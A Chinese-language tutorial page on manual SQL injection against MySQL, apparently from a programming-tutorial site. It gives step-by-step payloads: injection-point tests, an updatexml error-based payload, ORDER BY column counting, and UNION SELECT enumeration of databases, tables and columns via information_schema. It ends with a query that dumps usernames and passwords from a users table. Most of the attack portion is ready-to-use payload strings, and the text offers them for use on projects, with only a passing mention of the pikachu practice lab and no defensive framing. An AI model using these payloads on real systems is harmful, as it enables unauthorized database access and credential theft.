zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

MySQL手动注入步骤

2023-02-18 16:36:44 时间

MySQL相关的语句

database() 查看当前数据库

user()查看当前用户

version() 查看数据库版本

information_schema 数据库

schemata 表它是储存数据库名称的表

tables 表是用于储存所有表名的

columns 表是储存字段名称的

group_concat() 拼接函数

sleep()睡眠

判断是否存在注入点

判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子: 注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #

最常见使用的注入点判断语句

?id=1' and -1=-1 -- bbq

报错注入点

?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

我就举例两个,判断注入点方法是很多的,比如过waf等就需要一些转义等,手工注入就是一个个的去验证了

判断有多少个字段数

order by 它是一个排序语句,原理大致就是如果一个表里有三列数据,分别是 id ,user, pwd 这三个字段,那么 order by 1 它会按照 id 那一列字段排序,order by 2 就是按照 user 字段排序,依次类推当出现 order by 4 的时候由于表中没有第四列字段,就回报错那么我们就知道了这个表有三个字段数了,这一步就为了显示错位,也就是为了把我们SQL语句结果展示的地方

?id=1' order by 6 -- bbq

展示显错位

上一步判断字段数时知道了多少列也就是字段数量,那么就展示错位为了下一步注入语句结果的展示 语句中的 11,22,33……是根据判断的字段数来的而且 id或其它参数是查询不到结果的才能展示错位

?id=-1' union select 11,22,33,44,55 -- bbq 

注意:显错位不全或者多了,都会导致没有结果

查询当前数据库

用显示错位的命令,可以看到页面上看到你 11,22,33等数字,在页面显示的数字写入SQL语句来注入 version()查看数据库版本 ,database()查看当前数据库

?id=-1' union select version() ,database(),33,44,55 -- bbq

查询所有数据库: 如果表多页面展示不全,可以使用 LIMIT 一页页展示

?id=-1' union select table_schema,22 from information_schema.tables -- bbq

或者:

?id=-1' union select schema_name,22 from information_schema.schemata-- bbq

table_schema 字段是information_schema数据库的tables表中记录数据库的字段 schema_name 字段是information_schema数据库的schemata表中记录数据库的字段

查询出数据库中的所有表

如果表多页面展示不全,可以使用 LIMIT 一页页展示,也可以使用group_concat() 拼接函数将显示的字段名包起来展示 查询当前数据库的所有表:

?id=-1' union select table_name,22,33 from information_schema.tables where table_schema=database() -- bbq 

table_name 字段是information_schema数据库的tables表中记录数据库表的字段 大致格式样例:?id=-1’ union select table_name,22,33 from information_schema.tables where table_schema=‘数据库名称’ – bbq

查询指定的表中的列名

查询出表名下一步就是,查询字段也就是列名称

查询指定数据库表的所有字段:

?id=-1' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq 

column_name 字段是information_schema数据库的columns表中记录所有表字段的字段 table_schematable_name 字段在information_schema数据库的columns表中记录的和tables表中一样 大致模板:?id=-1’ union select column_name,22,33 from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ – bbq

查询数据

当经过以上步骤,已经知道了数据库名、表名、字段名,那么就可以查询我们需要的数据了 例如:表名是 users 需要的数据字段分别是 username,password

?id=-1' union select username,password,33 from users -- bbq

手工步骤就这样,根据项目情况自己要改变注入方法以及学习其它方法注入